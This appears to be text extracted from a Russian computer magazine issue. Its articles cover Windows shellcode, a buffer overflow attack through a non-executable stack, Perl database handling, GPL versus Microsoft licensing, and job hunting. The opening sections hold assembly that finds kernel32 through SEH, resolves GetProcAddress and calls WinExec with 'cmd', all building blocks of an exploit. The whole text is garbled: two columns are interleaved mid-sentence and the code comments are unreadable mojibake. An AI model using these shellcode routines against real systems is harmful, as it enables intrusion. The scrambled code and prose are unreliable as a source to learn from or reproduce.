этому первый и относительно сложный способ поиска jne Exit ; Íå ðàâíî – âûõîäèì
адреса ядра основан на поиске в стеке. Но если мы вос- push edx ; Ñîõðàíèì àäðåñ kernel
пользуемся этим способом, то наш shell-код станет очень add ebx,[edi+78h] ; Ïîëó÷èì àäðåñ
большим, поэтому мы пойдём другим путём. ; òàáëèöû ýêñïîðòîâ
mov ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåé
Второй способ обнаружения адреса ядра – при помощи mov esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó
SEH. Что же такое SEH? Это структурированный обработ- ; óêàçàòåëåé èìåí
mov edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó
чик исключений. К примеру, если мы пытаемся писать в ; îðäèíàëîâ
ядро, то будет вызываться исключение и обрабатываться add esi,edx ; Àäðåñ òàáëèöû èìåí
; â ïàìÿòè
оно будет при помощи SEH. Адрес обработчика исключе- add edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ
ний всегда лежит внутри ядра, так что для поиска адреса ; â ïàìÿòè
cld ; Ïîèñê âïåðåä
ядра нам всего лишь необходимо найти последний обра- add ebp,8 ; ebp óêàçûâàåò
ботчик. По адресу fs:[0] лежит номер текущего обработчи- ; íà ñëåäóþùóþ ñòðîêó
Search: ; Èùåì ôóíêöèþ GetProcAddress
ка исключений. Ищем, пока не найдём 0xFFFFFFFF (но- lodsd ; Áåðåì óêàçàòåëü èç òàáëèöû óêàçàòåëåé
мер системного обработчика). Этот адрес, в отличие от ад- add eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòè
xchg esi,eax ; Â esi óêàçàòåëü íà èìÿ
реса функции ExitThread в NT, всегда лежит в kernel32.dll. ; íàéäåííîé ôóíêöèè
Рассмотрим пример поиска адреса kernel:
xchg edi,ebp ;
; Óêàçûâàåì íà èìÿ íóæíîé
mov eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê ; íàì ôóíêöèè
; îáðàáîò÷èêîâ push ecx ; Êëàä¸ì ecx â ñòåê
inc eax ; Óâåëè÷èâàåì eax íà 1 xor ecx,ecx ; Îáíóëÿåì ecx
next_seh: add cl,15 ; Ðàçìåð ñòðîêè
xchg eax, ebx ; Îáìåíèâàåì ñîäåðæèìîå eax repe cmpsb ; Ñðàâíèâàåì
; c ebx jc restore1
mov eax, [ebx-1] ; Íîìåð òåêóùåãî îáðàáîò÷èêà rest2:
inc eax ; Óâåëè÷èâàåì eax íà 1 xchg esi,eax ; Âîññòàíîâèì çíà÷åíèå esi
jnz next_seh ; ßâëÿåòñÿ ëè îí
; ñèñòåìíûì (-1)? pop ecx ; Âîññòàíîâèì êîëè÷åñòâî
mov edx, [ebx-1+4] ; Àäðåñ îáðàáîò÷èêà ; óêàçàòåëåé
xchg ax, dx ; Ýêâèâàëåíòíî xchg edi,ebp ; Âîññòàíîâèì óêàçàòåëü
; xor dx,dx (eax=0) ; íà îðäèíàëû
xor eax,eax ; Îáíóëÿåì eax
je Found ; Íàøëè!
mov ax,1001h ; Ïîìåùàåì â eax inc edi ; Íåò – ïðîáóåì ñëåäóþùóþ
dec ax ; 1000 ; ôóíêöèþ
next_block: inc edi ; Óêàçàòåëü íà ñëåäóþùèé
cmp word ptr [edx],'ZM' ; Íà÷àëî? ; îðäèíàë
je found_MZ ; ÄÀ! loop Search
sub edx,eax ; Èùåì äàëüøå jmp Exit
jmp next_block restore1:
found_MZ: xor esi,esi ;
mov ebx,edx ; Ñîõðàíèì óêàçàòåëü mov si,61125 ; Ïîìåùàåì â esi ÷èñëî 15
mov edi,dword ptr [edx+3Ch] ; Àäðåñ sub si,61110 ;
; PE-çàãîëîâêà
add edi,edx ; +Àäðåñ kernel sub esi,ecx ; Âîññòàíàâëèâàåì óêàçàòåëü
cmp word ptr [edi],'EP' ; Ïðîâåðêà íà PE ; (edi) íà íà÷àëî ñòðîêè
jne Exit ; Íå ðàâíî – âûõîäèì sub edi,esi ;
jmp rest2 ;
В результате работы данного куска кода у нас в реги- Found:
68
bugtraq
АТАКА НА ПЕРЕПОЛНЕНИЕ
БУФЕРА ЧЕРЕЗ
НЕИСПОЛНИМЫЙ СТЕК
В WINDOWS NT/2000/XP
СТАНИСЛАВ ГОШКО
70
безопасность
Рассмотрим, чем отличается обычное переполнение бу-
push 0
фера от переполнения буфера через неисполнимый стек. call ExitProcess
Большинство атак на переполнение буфера строятся
comm1 db 'cmd',0
по следующей схеме: end start
Подготавливается мусор и вычисляются номера бай- end
тов, которые перетирают адрес возврата.
Подготавливается исполнимый код в качестве буфера. Теперь нам необходимо разобраться, как выглядит стек
Вычисляется адрес возврата при помощи отладчика, внутри функции WinExec. Рассмотрим схему стека внут-
так, чтобы он указывал на исполнимый код в стеке. ри WinExec (вызов данной функции отмечен восклица-
Затем подготовленный буфер, содержащий мусорные тельными знаками).
байты, новый адрес возврата и исполнимый код пере-
даются уязвимой программе.
.386
.model flat, stdcall
extrn ExitProcess:proc
extrn WinExec:proc
.data
dd 0
.code
start:
push 1
push offset comm1
call WinExec ; !!!!!
72
программирование
РАБОТА С БАЗАМИ
ДАННЫХ НА PERL
ВЛАДИСЛАВ ГОШКО
74
программирование
В наше время базы данных широко используются в раз- $$h{$name}=[@values];
}else{
ных сферах человеческой жизни. Самые простые базы $vals = uri_unescape($vals);
данных – это просто файлы определенной структуры, а $$h{$name}=$vals;
}
сложные – это файлы, имеющие свой формат данных и, }
естественно, определенную структуру. В данной статье я close(DB);
# çàïèñûâàåì â ãëîáàëüíûé õåø àññîöèàöèþ ññûëêè íà õåø
рассмотрю работу с базами данных на языке программи- # ñ îòêðûòûì ôàéëîì
рования Perl. Для удобства пойдем от маленького к боль- $g{$h}=$file;
}
шому. Для начала давайте рассмотрим обычный файл как
базу данных, т.е. обычный файл можно представить как sub ñlosedb{
my($h)=@_;
определенно сформатированый текст. Файл будет отфор- my($key,$val,$fn);
матирован следующим образом: # ïî èìåíè õåøà ïîëó÷àåì èìÿ ôàéëà
$fn = $g{$h};
local(*DB);
Name1|Value1#Value2#Value3#...#ValueN # âûõîäèì èç ôóíêöèè, åñëè ôàéëà íå ñóùåñòâóåò
Name2|Value1#Value2#Value3#...#ValueN return if !(-e $fn);
Name3|Value1#Value2#Value3#...#ValueN open(DB,">$fn") or return 0;
... # çàìûêàåì ôàéë
NameN|Value1#Value2#Value3#...#ValueN # (ìîíîïîëüíàÿ áëîêèðîâêà – äëÿ çàïèñè)
flock(DB,2);
Почему разделителями я выбрал именно «|» и «#»? while(($key,$val) = each %$h){
# îáðàòíî ñîçäàåì ôîðìàò, ïåðåâîäÿ íåáåçîïàñíûå
Потому что они не являются безопасными символами (из # ñèìâîëû â ôîðìàò %XX
RFC 2396). По той же причине можно было выбрать раз- print DB uri_escape($key)."|";
if(ref $val){
делителями любой символ, кроме латинских букв, цифр, for(0..$#$val){
и вот этих: $$val[$_]=uri_escape($$val[$_]);
}
print DB join "#",@$val;
";", "/", "?", ":", "@", "&", "=", "+", "$", ",", }else{
"-", "_", ".", "!", "~", "*", "'", "(", ")" $val=uri_escape($val);
print DB $val;
Эти разделители (кроме вышеописанных символов) }
print DB "\n";
могут использоваться в значениях или в именах пере- }
менных, только нужно будет использовать модуль close(DB);
}
URI::Escape, для того чтобы переменные с этими раз- 1;
делителями не испортили структуру. Специально для
работы с нашими базами данных создадим модуль Если вам нужно открывать файл с определенными
simple_db.pm. Итак, начнем: правами, то в функциях opendb() и closedb() нужно про-
сто заменить open на sysopen по следующему формату:
#!/usr/bin/perl sysopen FILEHANDLE, FILENAME, MODE, PERMS; и все.
# ñîçäàåì ïàêåò Использование довольно простое, возьмем какой-нибудь
package simple_db; файл test.pl. В этой же директории должен лежать и мо-
use Exporter; дуль simple_db.pm. Вот test.pl:
# êàê è ãîâîðèëîñü, èñïîëüçóåì ìîäóëü äëÿ ïåðåâîäà íåáåçîïàñíûõ
# ñèìâîëîâ â ôîðìàò %XX #!/usr/bin/perl
use URI::Escape;
@ISA=("Exporter"); use simple_db;
@EXPORT=qw(&opendb &closedb %g); # îòêðûâàåì ôàéë test.db è àññîöèèðóåì ñ íèì õåø %h,
# ýêñïîðòèðóåì èñïîëüçóåìûå ôóíêöèè, à òàêæå õåø %g, äëÿ òîãî
# ÷òîáû ôóíêöèÿ çíàëà, â êàêîé ôàéë çàïèñûâàòü èçìåíåíèÿ # èíà÷å óìèðàåì
opendb(\%h,"test.db") or die $!;
# õåøà, ââîäèìîãî â àðãóìåíòàõ # äîáàâëÿåì çíà÷åíèÿ â õåø
sub opendb{ $h{'supa|var'}=["special#","tes#t"];
# òàêæå ëåãêî ìîæíî äîáàâèòü ìàññèâ
my($h,$file)=@_; @tmp = ("array","tester");
my($name,$vals,@values);
local(*DB); # äîáàâèëè ...
$h{'arr'}=\@tmp;
open(DB,$file) or return 0; # èëè äîáàâëÿåì ìàññèâ òàê
# áëîêèðóåì ôàéë íà òîò ñëó÷àé, åñëè âî âðåìÿ ÷òåíèÿ
# êòî-òî çàõî÷åò èçìåíèòü ôàéë (ñîâìåñòíàÿ áëîêèðîâêà – $h{'arr2'}=["some","vars"];
closedb(\%h) or die $!;
# äëÿ ÷òåíèÿ)
flock(DB,1);
while(<DB>){
chomp; Данным образом будет создан файл test.db в текущей
($name,$vals)=split(/\|/,$_,2); директории. С переменной «supa|var» и значениями
next if !$name;
$name = uri_unescape($name); «speacial#» и «tes#t», и т. д. Я специально использовал
@values = split(/#/,$vals); небезопасные символы, а со второй и третьей перемен-
# åñëè çíà÷åíèé ìíîãî, ñîçäàåì àíîíèìíûé ìàññèâ,
# èíà÷å ïðîñòî ïðèñâàèâàåì îäíî çíà÷åíèå ной все в порядке – там нет небезопасных символов...
if($#values){ А теперь давайте посмотрим, что записано в файле
for(0..$#values){
# ïåðåâîäèì ñèìâîëû èç %XX-ôîðìàòà test.db:
# â íîðìàëüíûé âèä
$values[$_]=uri_unescape ↵ supa%7Cvar|special%23#tes%23t
($values[$_]); arr|array#tester
}
arr2|some#vars
76
программирование
print "Follow the white rabbit"; # RaiseError => 1 - ñîîáùàòü îá îøèáêàõ
} $dbh = DBI->connect($conn, $user, $password, ↵
{RaiseError => 1});
С удалением нужно немного по-другому, через вре- # çàäàëè íàçâàíèå òýéáëà - äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ
$table = "users";
менный хеш: # ñîçäàåì òýéáë "users"
$query = "CREATE TABLE .$table(username char(16) ↵
tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵ not null,pass char(16) not null)";
die "Couldn't tie DB_File $users: $!; aborting"; # ñîçäàëè
%tmp=%h; $dbh->do($query);
delete $tmp{users}->{'somebody'}; # îòñîåäèíèëñü
%h=%tmp; $dbh->disconnect();
untie %h;
Не особо сложными манипуляциями добавляем дан-
Добавлять тоже через временный хеш: ные в тэйбл:
#!/usr/bin/perl
use DBI;
# íàñòðîéêè SQL ñåðâåðà #####################################
$user = "synthetic"; # ëîãèí è
$password = "test"; # ïàðîëü äëÿ äîñòóïà ê ñåðâåðó
$host = "localhost"; # àäðåñ SQL-ñåðâåðà
$db = "site"; # áàçà äàííûõ, ñ êîòîðîé ñîåäèíÿåìñÿ
$port = 3306; # ïîðò (âçÿò ïî óìîë÷àíèþ)
$driver = "mysql"; # ýòî äðàéâåð äëÿ áàçû äàííûõ, ò.å.
# âû ìîæåòå óêàçàòü äðàéâåð ñâîåé
# áàçû è ñïîêîéíî ñîåäèíÿòñÿ ñ íåé
# (åñòåñòâåííî çíàÿ åå ñåìàíòèêó)
##########################################################
# äàííûå - ïðîñòî äëÿ ïðîâåðêè
$login = "Vlad";
$pass = "isitreal";
$conn = "DBI:$driver:database=$db;host=$host;port=$port";
78
образование
Общаясь со многими людьми, я заметил, что многие не знают о тех подводных камнях, которые
заложены в их любимых «окошках», а подчас и не догадываются, что существует альтернатива
выбора и что на серверах используется что-то отличное от их представлений. Этот факт и подвиг
меня написать эту статью для просвещения масс в тех моментах, на которые у них просто
физически не хватает времени. Ведь не секрет, что во время установки почти никто не читает
лицензионных соглашений. Я буду считать статью удавшейся, если вы, читатели, сможете
не только посмеяться над написанным, где-то над собой, но и задуматься.
ПАВЕЛ ЗАКЛЯКОВ
80
образование
За последнее время наблюдается противостояние двух печение лишаeт вас права распространять и вносить из-
сторон: закрытых продуктов Microsoft (и других компаний) менения в это программное обеспечение. Стандартная
и открытых продуктов, распространяемых по лицензии Общественная Лицензия GNU, напротив, разработана с
GNU. Нельзя сказать, чтобы это противостояние было рав- целью гарантировать вам право совместно использовать
ным. Несмотря на всю комичность ситуации, на мой и вносить изменения в свободное программное обеспе-
взгляд, это сражение не стоит на месте и люди постоянно чение, т.е. обеспечить свободный доступ к программно-
выбирают не ту сторону. му обеспечению для всех пользователей».
Связано это с особенностями человеческой психоло- Сопоставлять предложения одно против другого
гии, и выбор отнюдь не основывается на разумности и сложно в силу разности лицензий, поэтому проще вна-
дальновидных взглядах. Скорее ситуацию можно описать чале описать все минусы и плюсы одной лицензии, а
известной фразой «После нас хоть потоп». потом то же самое сделать для другой лицензии. Тем
«Это происходит оттого, что все человеческие дела самым предоставив читателю информацию для выбора
делаются людьми, которые имели и всегда будут иметь и размышления.
одни и те же страсти, и поэтому они неизбежно должны Microsoft: «... лицензионное соглашение ... относитель-
давать одинаковые результаты». [1]. но ... программного продукта ... который включает в себя
Желание «откупиться от проблем» и навязывания нам ... любые печатные материалы, любую «встроенную» или
такого образа жизни Америкой как правильного приво- «электронную» документацию и службы в Интернете».
дит к тому, что люди готовы платить другим фирмам, ко- Мол, всё, что напечатали, всё включается. Чёткой гра-
торые будут решать за них их проблемы. В то время как ни я не вижу, что включать, а что нет, ну да ладно с доку-
фирмы, получающие деньги, увидев эту зависимость, за- ментацией, а как быть со службами в Интернете? Они вы-
хотят получать деньги постоянно, для чего будут выходить ложат у себя на сайте какую-то часть в виде CGI или как-
в свет обновления и различные не очень нужные измене- то ещё, с которой будет взаимодействовать мой продукт,
ния. Они даже попытаются установить монополию на свои а я и в глаза не буду знать, что их продукт делает. Но
продукты, чтобы завоевать максимум пользователей и никого этот пункт в лицензии не пугает.
чтобы их продукты стояли на большинстве компьютеров. Единственный плюс дальше, что если я не согласен, то:
«Стремление к завоеваниям – вещь, конечно, очень Microsoft: «Не устанавливайте и не используйте дан-
естественная и обыкновенная; когда люди делают для это- ный продукт; вы можете вернуть его лицу, у которого вы
го всё, что могут, их всегда будут хвалить, а не осуждать; приобрели продукт, и получить обратно уплаченные вами
но когда у них нет на это сил, а они хотят завоевывать во деньги».
что бы то ни стало, то это уже ошибка, которую надо осу- Про копирование ничего не сказано. Возможно, этот
дить». [1]. момент защищается другими законами и актами.
Сложно сказать, есть ли у Miscrosoft силы на завоева- Однако если я поставил продукт и/или попользовал-
ния всего мира, но, видимо, нет, так как до сих пор встре- ся, то вроде как я уже вернуть его не могу. Так что толку
чаются другие операционные системы и продукты других в этой фразе никакого нет. Ну разве что, если у меня ко-
фирм. Так что моя задача осудить их позицию в этой ста- робочная версия продукта, то я могу посмотреть, что за
тье и призвать людей, читающих и мыслящих, к правиль- макулатуру понапихали мне в неё и отказаться, если меня
ному выбору. Я отнюдь не хочу неаргументированных вос- она не устроила. Даже могу полюбоваться цветом ком-
клицаний вроде «Microsoft suxx», а постараюсь делать вы- пакт-диска.
воды обоснованно, чтобы людям стало смешно и тошно Microsoft: «Запрещается использовать продукт одно-
оттого, что они не замечали всего описанного ниже ра- временно более чем 1 (одним) процессором одной рабо-
нее. чей станции».
Для сравнения позиций я бы хотел взять две лицензии А как мне быть, если я запускаю продукт под эмуля-
и прокомментировать существенные моменты. Первая ли- цией? Что понимать под рабочей станцией? Всё, что
цензия будет GNU Public License в русском переводе, вто- не в корпусах под стойку? Сервер можно и из ноутбука
рая может быть любой из семейства Windows. Я рассмот- сделать.
рел несколько вариантов перевода GNU Public License [3]: Microsoft: «К рабочей станции разрешается подклю-
Гинзбурга В.Р. [2], Тяпкиной Елены [4] и Середы Сергея чать не более 5 (пяти) компьютеров или других электрон-
[5]. Мой выбор пал на перевод Елены Тяпкиной. Со сто- ных устройств (далее «устройство») для использования
роны Microsoft я решил выбрать лицензионное соглаше- служб данного продукта, причем исключительно для дос-
ние Microsoft Windows XP Home Edition. [7]. тупа к файловым службам, службам печати, службам IIS,
Для простоты изложения я буду говорить, что «Microsoft а также к службам удаленного доступа (включая общий
или GNU пишет», подразумевая соответствующие выше доступ к подключению и телефонные службы). Макси-
этим словам лицензии. мальное количество подключений, равное пяти, включа-
Итак, мы с первых строчек лицензий видим кнуты и ет любые косвенные подключения, производимые через
пряники. «мультиплексирующее» или иное программное или аппа-
Microsoft: «Настоящее лицензионное соглашение (да- ратное обеспечение, позволяющее осуществлять коллек-
лее «лицензионное соглашение») является юридическим тивный доступ или поочередные подключения».
соглашением». В общем, хороший веб-сервер я сделать не могу, так
GNU: «Большинство лицензий на программное обес- как не более 5 подключений к IIS. Разве что для тестиро-
82
образование
Microsoft: «Ограничение на вскрытие технологии и ляется предоставление определенных сведений о компь-
декомпиляцию. Запрещается вскрывать технологию или ютере, аппаратных средствах и программном обеспече-
декомпилировать продукт за исключением случая и толь- нии, необходимых для работы этих средств».
ко в той степени, когда такие действия явно разрешены Хотите печатать конфиденциальные сведения и иг-
применимым законодательством, несмотря на наличие в рать – заведите два компьютера!
лицензионном соглашении данного ограничения». Microsoft: «Используя эти средства, вы тем самым
Если вы не работаете в бывшем ФАПСИ и вас заста- явно разрешаете корпорации Майкрософт или её пол-
вили декомпилировать, то будучи программистом высо- номочному представителю осуществлять доступ и ис-
кого класса, вам обрубают крылья и сообщают, что ваши пользование сведений, необходимых для работы игро-
действия по исследованию кода незаконны. Будьте доб- вых средств и/или средств обновления в Интернете. Кор-
ры купить кота в мешке и не дай Бог вы откроете этот порация Майкрософт вправе использовать эти сведения
мешок и увидите, что там не кот, а дикобраз. Если вы исключительно для совершенствования своих продуктов
открыли какой-то файл и посмотрели его в hiew в режиме или для предоставления вам специальных услуг и тех-
asm, то вы злостный нарушитель! Не дай Бог ещё на ва- нологий».
шем компьютере найдут какой-нибудь sourcer, IDA, SoftIce Для совершенствования работы какой-то игры может
и другие программы, используемые вами, и вы не сможе- понадобиться установка какой-то функции/библиотеки/
те объяснить, что вы ими просматривали свои програм- программы, которая будет присутствовать и может зара-
мы, а не лицензированный продукт. А если вы сетевой ботать уже после того, как игра будет удалена.
администратор по вопросам безопасности в какой-то Microsoft: «Компоненты служб в Интернете. Продукт
фирме, то, увы, у меня к вам вопрос, а как вы получаете содержит компоненты, обеспечивающие использование
зарплату, если вы даже теоретически не сможете дока- и упрощающие доступ к некоторым службам в Интерне-
зать безопасность чёрного ящика в виде продуктов те. Вы признаете и соглашаетесь с тем, что корпорация
Microsoft? Майкрософт имеет право выполнять автоматическую про-
Microsoft: «Расторжение соглашения. Без ущерба для верку версии продукта и/или его компонентов, которыми
каких-либо иных прав корпорация Майкрософт вправе вы пользуетесь, а также имеет право обновлять или ис-
прекратить действие настоящего лицензионного соглаше- правлять продукт путём автоматической загрузки соот-
ния при несоблюдении вами его положений и условий. В ветствующего программного обеспечения на вашу рабо-
этом случае вы обязаны уничтожить все имеющиеся у вас чую станцию».
копии продукта и всех его составных частей». В общем, вы проверили компьютер, далее начали ра-
Если вы мелко ошиблись и нарушили, то вас могут ботать, подключились к Интернету, у вас проверили вер-
заставить больше не пользоваться продуктом. Не очень сию и залили вам без вашего ведома вредоносный софт
ясно, что в этом случае в теории делать – покупать новый либо полезный софт с закладками в виде случайных оши-
и с ним уже не наступать на грабли повторно? бок или ещё как-то. Даже если у вас ничего нет секретно-
Microsoft: «Разрешение на использование данных. Вы го, то в случае выделенного подключения к Интернету с
соглашаетесь с тем, что корпорация Майкрософт и её аф- оплатой трафика вы будете платить деньги. Вы к этому
филированные лица вправе собирать и использовать тех- готовы, что вам придётся скачать на лишнюю сотню мет-
нические сведения, полученные любым способом в ходе ров обновлений? Причём обновляться они могут по не-
вашего обращения за услугами по технической поддерж- скольку раз на дню. Как вам такая финансовая ситуация?
ке, если таковые предоставляются, по поводу продукта». Трояны и хакеры отдыхают.
Они заберут у вас технические сведения, однако что Microsoft: «Исправления системы безопасности».
под этим понимать, очень сложно сказать. По этой фор- Этот пункт для меня вообще остался серым лесом. Я
мулировке они могут даже серийный номер из процессо- так и не понял его нужность конечному пользователю.
ра считать, и где тогда анонимность? Microsoft: «Экспортные ограничения. Вы признаёте,
Microsoft: «Корпорация Майкрософт вправе исполь- что данный продукт произведен в США и попадает под
зовать эти сведения исключительно для совершенство- действие установленных в США экспортных ограниче-
вания своих продуктов или для предоставления вам спе- ний».
циальных услуг и технологий». Это вам грозит тем, что у вас будет более слабая крип-
Что за специальные услуги и технологии – не ясно. Или тография и АНБ США будет слушать вас и читать ваши
на более быстром компьютере будет иметься возможность сообщения при желании. Для игр это не важно, а вот бан-
удалённого более быстрого форматирования винчестера? киры и сотрудники государственных учреждений должны
Microsoft: «Корпорация Майкрософт вправе предос- задуматься над этим пунктом.
тавлять эти сведения третьим лицам в форме, не раскры- Microsoft: «Отказ от предоставления гарантий. Упо-
вающей вас лично». мянутая ниже ограниченная гарантия является единствен-
Они дадут две не раскрывающие вас выборки, из ной предоставляемой вам явной гарантией, заменяющей
пересечения которых вас вычислят, и никто ничего не любые другие явные гарантии (если таковые имелись),
нарушит. приведенные в какой-либо документации, на упаковке или
Microsoft: «Игры и средства обновления в Интернете. предоставленные иным образом. За исключением дан-
Обязательным условием использования в продукте игро- ной ограниченной гарантии и в наибольшей степени, раз-
вых возможностей и средств обновления в Интернете яв- решенной применимым законодательством, корпорация
84
образование
К любому продукту должен быть исходный код. есть», однако это не мешает вам написать автору про-
GNU: «Например, если вы распространяете экземпля- дукта и попросить у него помощи. Также это не мешает
ры такого программного обеспечения за плату или бес- создавать форумы, где можно обсуждать те или иные про-
платно, вы обязаны передать новым обладателям все блемы продуктов, и также вы можете пользоваться услу-
права в том же объёме, в каком они принадлежат вам. гами третьих лиц, которые безвозмездно или за плату
Вы обязаны обеспечить получение новыми обладателя- предложили вам помочь.
ми программы её исходного текста или возможность его В конце можно заключить, что наиболее выгодной яв-
получить. Вы также обязаны ознакомить их с условиями ляется лицензия GNU GENERAL PUBLIC LICENSE, так как
настоящей Лицензии». она предоставляет больше прав программистам, не ог-
GNU: «Под исходным текстом произведения понима- раничивает их в своих правах. Она также не ограничива-
ется такая форма произведения, которая наиболее удоб- ет людей, далёких от программирования и не лишает их
на для внесения изменений». возможности получения помощи. Также никому не запре-
Как вам такая формулировка против ограничения на щается осуществлять помощь и гарантийное обслужива-
декомпиляцию и так не очень понятных человеку машин- ние чужих продуктов. Подобно тому, как вы можете чи-
ных кодов? нить свой автомобиль в любом понравившемся вам сер-
GNU: «В случае если произведение в виде объект- висе или помогать в починке другим. Вы можете раскру-
ного кода или в исполняемой форме распространяется тить свой автомобиль по гаечкам и заглянуть к нему под
путем предоставления доступа для копирования его из капот, и это даёт обязательная возможность получения
определённого места, обеспечение равноценного дос- вами исходных текстов бесплатно или за разумную пла-
тупа для копирования исходного текста из этого же ту, необходимую для доставки.
места удовлетворяет требованиям распространения ис- Вы можете вносить изменения в продукты и никто не
ходного текста, даже если третьи лица при этом не обя- будет с вас спрашивать, на каком компьютере вы его за-
заны копировать исходный текст вместе с объектным пускаете. Вас не будут просить передавать какие-либо
кодом произведения». сведения кому-либо. Вас не могут явно заставить прекра-
Если вы не программист или не хотите изменить чего- тить использовать какой-то продукт, если вы что-то нару-
то в программе, то вас не обязывают скачивать исходный шили. Вас никто не заставит покупать много копий или
код и не обязывают его получать. Это как соль на столе, много лицензий. Вы можете установить приобретённый
когда вы можете посолить по вкусу сами, а не когда за вами или бесплатно переписанный экземпляр какой-то
вас это делает повар. программы или операционной системы где угодно и сколь-
GNU: «Каждой версии присваивается свой собствен- ко угодно раз. Вас никто не будет ограничивать в количе-
ный номер. Если указано, что Программа распростра- стве подключений к вашему серверу. Вы можете делать
няется в соответствии с определённой версией, т.е. ука- всё что угодно с программными продуктами. Программ-
зан её номер, или любой более поздней версией насто- ные продукты предоставляются вам в удобной для изме-
ящей Лицензии, лицензиат вправе присоединиться к нения форме. Всё сделано людьми для людей.
любой из этих версий Лицензии, опубликованных Free Массовый переход на использование продуктов с от-
Software Foundation. Если Программа не содержит та- крытым кодом значительно упростил бы жизнь. И увере-
кого указания на номер версии Лицензии лицензиат ния Miscrosoft, что некому будет адаптировать программ-
вправе присоединиться к любой из версий Лицензии, ные продукты для конкретных нужд какой-нибудь органи-
опубликованных когда-либо Free Software Foundation зации, сильно схожи с завышенным самомнением.
(http://www.fsf.org)». Очень смущает на фоне всего этого заключение со-
С версиями и модификациями тоже внесена ясность. глашения между бывшим ФАПСИ и Microsoft, которые ре-
GNU: «Отсутствие гарантийных обязательств. По- шили предоставить на просмотр исходный код через спе-
скольку настоящая программа распространяется бесплат- цифический редактор, якобы улучшающий возможности
но, гарантии на неё не предоставляются в той степени, в просматривающего. [8] (А может, и скрывающий куски
какой это допускается применимым правом. Настоящая кода?) Да и зачем ехать в штабквартиру для просмотра
программа поставляется на условиях «как есть». Если особых кусков кода? Не проще ли остановить свой выбор
иное не указано в письменной форме, автор и/или иной на продуктах под GPL, где исходный код уже сразу от-
правообладатель не принимает на себя никаких гаран- крыт и нет смысла носить воду в решете.
тийных обязательств, как явно выраженных, так и подра- Привычка людей – это большой подводный камень и,
зумеваемых, в отношении программы, в том числе под- пожалуй, единственная вещь, которая заставляет людей
разумеваемую гарантию товарного состояния при прода- делать неправильный выбор. Наиболее уместна в завер-
же и пригодности для использования в конкретных целях, шение будет пословица «Кто платит, тот и заказывает
а также любые иные гарантии. Все риски, связанные с музыку», и здравого смысла в этом нет и не может быть,
качеством и производительностью программы, несет ли- пока нас с вами окружают материалисты, целью которых
цензиат. В случае если в программе будут обнаружены стоит личностное обогащение за счёт других. «Возьми от
недостатки, все расходы, связанные с техническим об- жизни всё!», так и просится дописать: «Не можешь взять
служиванием, ремонтом или исправлением программы, умом – отбери у соседа силой». Разве что сосед тоже не
несет лицензиат». дремлет и отнимет первым.
Тут мы тоже видим, что продукт поставляется «как
86
IMHO
РЕЦЕПТЫ ПРАВИЛЬНОГО
ТРУДОУСТРОЙСТВА «Не нужно плыть по течению. Не нужно плыть против
течения. Нужно плыть ттууда, куда тебе надо»
куда
Козьма Пру
Козьма тк
Прутков
тков
КРИС КАСПЕРСКИ
88
iMHO
Ваши действия Итак, задача-минимум: найти фирму, где волею судь-
по трудоустройству по шагам бы в данный конкретный момент собрались очень не-
Большинство статей, посвященных трудоустройству, на- глупые люди, и устроиться туда на любую диктуемую ра-
чинаются с рекомендаций по правильному заполнению ботодателем зарплату, а то и вовсе бесплатно (это не
резюме и хитростям их размещения на сайтах типа шутка! Лучше бесплатно получать образование на фир-
www.all-jobs.ru. Так вот: все это чушь собачья и слепое ме, чем платить деньги за протирание штанов в универ-
следование американскому шаблонному образцу. Так вы ситете! Сам автор когда-то так и поступал). Только по-
ничего не найдете, а если и найдете, то лишь благодаря мните, что профессию не получают, а воруют! Здесь пе-
его величеству Счастливому Случаю. Резюме – это пас- дагогов нет и лекции читать никто не будет. Держите все
сивный способ трудоустройства, и от вас тут действи- шесть органов своих чувств широко открытыми и все-
тельно очень мало что зависит. Вот активный способ – сторонне анализируйте каждую ситуацию, почему у ва-
это другое дело! ших старших товарищей что-то получается, а у вас нет.
Прежде всего уясните себе одну очень простую Причем не пытайтесь вести записи вида «если из про-
вещь. Гарантированное трудоустройство обеспечива- цессора 248AE идет дым, необходимо подтянуть терми-
ется либо за счет связей, либо за счет ваших профес- натор 63-98 к верхнему сигнальному уровню». Подоб-
сиональных навыков. Ситуацию со связями мы рассмат- ная информация очень быстро устаревает, и к тому же
ривать не будем, т.к. тут и без нас все предельно ясно, суть профессионализма заключается отнюдь не в сум-
а вот на профессиональных навыках остановимся по- ме знаний, а в умении при неполноте этих самых знаний
подробнее. быстро найти наиболее перспективное направление, в
котором надо «копать».
Ингредиент номер один: опыт Практика показывает, что любой наугад взятый кол-
Большинство молодых людей, устраивающихся на рабо- лектив умных людей не может существовать бесконеч-
ту, имеют крайне оптимистичное представление об уров- но долго и очень быстро распадается (почему – не знаю,
не своей подготовки и перечисляют длинный список опе- но наблюдаемый факт), так что очень может статься,
рационных систем и программных пакетов, с которыми что ни одного такого коллектива в пределах вашей до-
они как бы умеют работать. И чем длиннее такой список, сягаемости просто не окажется. И что тогда? Тогда –
тем меньше шансов у его обладателя на скорое трудоус- отправляйтесь в ближайший торговый салон и заклю-
тройство. Людей, совмещающих блестящие знания баз чайте с ними долгосрочный договор на взятие той или
данных с умением проектировать интерфейсы и отлажи- иной аппаратуры напрокат (естественно, за деньги и с
вать драйвера, единицы, и работодатели об этом прекрас- предоплатой). Большинство продавцов на это идет с
но знают. Подавляющее большинство специалистов уме- радостью, а вы получаете в свое распоряжение боль-
ют делать что-то одно, но зато они делают это хорошо. шое количество разношерстного железа. Зачем это
«Специалисты» же, претендующие на обширные и глубо- нужно? А затем, что без опыта работы с оборудовани-
кие знания в различных областях, в подавляющем боль- ем вы никогда не станете настоящим специалистом.
шинстве случаев не представляют для нанимателей аб- Чем больше оборудования пройдет через ваши руки, -
солютно никакого интереса. Скажите, а вы бы купили те- тем больше у вас накопится опыта по устранению со-
левизор, совмещенный с холодильником и шагающим эк- путствующих ему проблем и в конце концов разовьет-
скаватором? ся настоящий нюх на неисправности. То же самое ка-
Выберите какое-то одно конкретное направление, сается и программистов (как прикладных, так и систем-
близкое вам по духу и по теме. Скажем, системный про- ных). Компьютерное железо очень различно, и всякая
